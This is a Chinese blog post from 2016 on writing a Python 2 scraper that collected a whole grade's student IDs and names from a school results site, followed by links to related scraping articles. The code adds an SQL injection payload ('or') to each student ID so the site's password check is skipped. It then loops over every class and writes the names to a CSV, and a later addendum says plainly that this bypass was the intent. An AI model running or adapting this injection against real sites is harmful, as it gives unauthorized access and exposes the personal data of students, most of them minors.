Python2爬取学生名单
背景:
学校的网站可以根据学号查学生姓名和成绩(三年后的补充:借助sql注入漏洞跳过密码,但是该网站现在已经被弃用了),所以我希望通过Python的爬虫得到年级所有同学的学号与姓名对应表。
实现:
首先需要算出所有学生的学号以方便查询。接下来要把学号和考试场次包装成待会要填入的信息,这可以用urllib模块里的函数urlencode完成。之后要访问网站,先用urllib2模块里的Request函数获得访问令牌(其实我也不知道是什么)(三年后的补充:Request函数构造了一个HTTP请求,后面urlopen函数以这个请求和一个表为参数发送Post请求),然后用urlopen函数把需要填入的信息和令牌传进去就可以得到查询结果网页的源代码了!
此后是分析源代码环节,经过分析后发现所需要的姓名在源代码中字符串“姓名”之后的>和&字符之间。故用find函数找到字符串“姓名”的位置,然后用两个变量找到>和&字符的位置,截取之间的字符串就可以得到姓名了。同时表格有一个叫csv的储存形式,是以文本的方式储存的,且可以通过各类Excel软件另存为为xls文件,是我们的首选。
既然是Python2,就不得不处理编码。在程序头添上使用utf-8的声明,同时在程序开始处加入
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
把程序内的字符串全部指定为Unicode字符串。同时网页源代码也要由gbk编码转为utf-8。有一点坑的就是原网页的编码是gb2312,结果有同学的姓名是一些奇怪的字,导致会RE。最后查了很久才发现要用gbk代替gb2312来解码。
代码:
#-*- coding: UTF-8 -*-
import urllib
import urllib2
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
url='http://www.baidu.com'
f=open('E:/list.csv','a')
for i in range(1,21):
for j in range(1,66):
table=[('xuehao',str(10000+i*100+j)+'\'or\''), ('kaoshi','')]
search=urllib.urlencode(table)
req=urllib2.Request(url)
get=urllib2.urlopen(req, search).read().decode('gbk').encode('utf-8')
l=r=get.find('姓名')
if l!=-1:
while get[l]!='>':
l+=1
while get[r]!='&':
r+=1
print str(10000+i*100+j)+get[l+1:r]
f.write(str(10000+i*100+j)+','+get[l+1:r]+'\n')
f.close()
注意我把学校查成绩的url改为百度的url了因为怕有人对我的学校网站做一些奇怪的事。
20161016
Python2爬取学生名单的更多相关文章
- python2爬取国家统计局全国省份城市区街道信息
工作中,再次需要python,发现python用得好 ,真的可以节省很多人力,先说我的需求,需要做一个类似像支付宝添加收货地址时,选择地区的功能,需要详细到街道信息,也就是4级联动,如右图.首先需要的 ...
- nutch如何修改regex-urlfilter.txt爬取符合条件的链接
例如我在爬取学生在线的时候,发现爬取不到特定的通知,例如<中粮福临门助学基金申请公告>,通过分析发现原来通知的链接被过滤掉了,下面对过滤url的配置文件regex-urlfilter.tx ...
- python2.7爬取豆瓣电影top250并写入到TXT,Excel,MySQL数据库
python2.7爬取豆瓣电影top250并分别写入到TXT,Excel,MySQL数据库 1.任务 爬取豆瓣电影top250 以txt文件保存 以Excel文档保存 将数据录入数据库 2.分析 电影 ...
- Scrapy实战篇(八)之爬取教育部高校名单抓取和分析
本节我们以网址https://daxue.eol.cn/mingdan.shtml为初始链接,爬取教育部公布的正规高校名单. 思路: 1.首先以上面的地址开始链接,抓取到下面省份对应的链接. 2.在解 ...
- python2.7 爬虫_爬取小说盗墓笔记章节及URL并导入MySQL数据库_20161201
1.爬取页面 http://www.quanshu.net/book/9/9055/ 2.用到模块urllib(网页下载),re正则匹配取得title及titleurl,urlparse(拼接完整ur ...
- 7.5爬取猫眼Top100电影名单
2018-7-5 20:22:57 还有有一丢丢成就感!以后可以爬取简单网站了!比如妹子图片,只是现在不知道咋下载! 正则还是刚看,要多去用正则!正则很强大的东西! #!/usr/bin/env py ...
- Python2.7-浙江省实时天气爬取
先对中国天气网的实时天气数据进行了研究,数据在http://www.weather.com.cn/weather1d/101010100.shtml中,可以通过城市代码进行爬取,但实况数据是用JS动态 ...
- python2.7 爬取简书30日热门专题文章之简单分析_20170207
昨天在简书上写了用Scrapy抓取简书30日热门文章,对scrapy是刚接触,跨页面抓取以及在pipelines里调用settings,连接mysql等还不是很熟悉,今天依旧以单独的py文件区去抓取数 ...
- 小爬虫。爬取网站多页的通知标题并存取在txt文档里。
爬取网页中通知标题的内容展示: this is 1 page!<精算学综合>科目考试参考大纲2016年上半年研究生开题报告评议审核结果公示[答辩]2016下半年研究生论文答辩及学位评定 ...
随机推荐
- turtle 画一朵花
操纵海龟绘图有着许多的命令,这些命令可以划分为两种:一种为运动命令,一种为画笔控制命令1. 运动命令:forward(degree) #向前移动距离degree代表距离backward(degree ...
- numpy中array数组对象的储存方式(n,1)和(n,)的区别
资料:https://stackoverflow.com/questions/22053050/difference-between-numpy-array-shape-r-1-and-r 这篇文章是 ...
- Laravel:No application encryption key has been specified.
其实吧,这个就是你没有生成密钥 你首先去看看,如果是刚刚下载的lavavel应该会有一个.env.example文件在根目录下,然后修改这个文件名,改成.env 然后用命令行去执行php artisa ...
- Eplan PLC连接点-两两相连接方法
Eplan PLC连接点-两两相连接方法. 1.插入->符号连接->T节点(向右). 2.如图 3.如图 然后再.插入->符号连接->T节点(向左). 重复2,3.即可完成两两 ...
- 【hdoj】哈希表题hdoj1425
hdoj1425 github链接 #include<cstdio> #include<cstring> using namespace std; const int offs ...
- 并发编程-CPU执行volatile原理探讨-可见性与原子性的深入理解
volatile的定义 Java语言规范第3版中对volatile的定义如下:Java编程语言允许线程访问共享变量,为了确保共享变量能被准确和一致地更新,线程应该确保通过排他锁单独获得这个变量.Jav ...
- Redis安装过程jemalloc/jemalloc.h报错
问题: [root@localhost redis-3.0.0]# make cd src && make all make[1]: Entering directory `/data ...
- js中.bind()和.call()用法讲解
var option = { ti : 8, it(){ return this.ti; } } 这里又一个option对象,it()方法里的this指的就是option对象的上下文. console ...
- 看看有哪些 Web 攻击技术.
一.前言 HTTP 协议具有无状态.不连接.尽最大努力的特点,对于 Web 网站的攻击基本也是针对 HTTP 协议的这些特点进行的.比如无状态的特点,就要求开发者需要自行设计开发"认证&qu ...
- AcWing 走廊泼水节 题解
这道题大致题意就是让一棵树任意两点有连边(也就是完全图),但是补完后最小生成树是一开始的那棵树,问最小加的边权之和是多少. 了解题意后,我们可以想到用Kruskal(废话),当每两个集合合并的时候,除 ...